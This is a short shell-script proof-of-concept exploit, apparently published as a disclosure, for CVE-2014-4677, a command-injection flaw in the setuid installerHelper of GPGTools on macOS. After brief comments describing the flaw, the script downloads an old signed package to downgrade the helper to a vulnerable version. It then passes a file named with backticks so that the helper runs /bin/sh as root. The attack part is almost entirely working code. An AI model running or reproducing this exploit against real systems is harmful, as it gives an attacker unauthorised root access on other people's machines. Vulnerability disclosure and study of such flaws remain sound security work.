#!/bin/sh
# GPGTools installerHelper Command Injection Vulnerability
# Author: Bruno Bierbaumer
# Date: 04/02/2015
# Affected version(s):
#  < GPGTools 2014.12-b4
# CVE: CVE-2014-4677

# Description:
# GPGTools uses a setuid binary (installerHelper) to install signed updates as root.
# installerHelper takes file paths as args and passes them directly into system() and is therefore vulnerable to command injection.


mkdir -p /tmp/gpg/mnt
cd /tmp/gpg
export PATH=/tmp/gpg:$PATH

echo "[+] Downloading signed pkg"
curl -s "https://raw.githubusercontent.com/0xbb/security-publications/master/GPGTools/GPG%20Suite%20-%202013.10.22.dmg" > out.dmg
hdiutil attach out.dmg -mountpoint /tmp/gpg/mnt > /dev/null

echo "[+] Downgrading to vulnerable version"
/Library/Frameworks/Libmacgpg.framework/Versions/B/Resources/installerHelper /tmp/gpg/mnt/Install.pkg

echo "[+] Injecting command"
echo "/bin/sh 1>&2" > dummy
chmod +x dummy
touch '`dummy`'
/Library/Frameworks/Libmacgpg.framework/Versions/B/Resources/installerHelper /tmp/gpg/mnt/Install.pkg '`dummy`'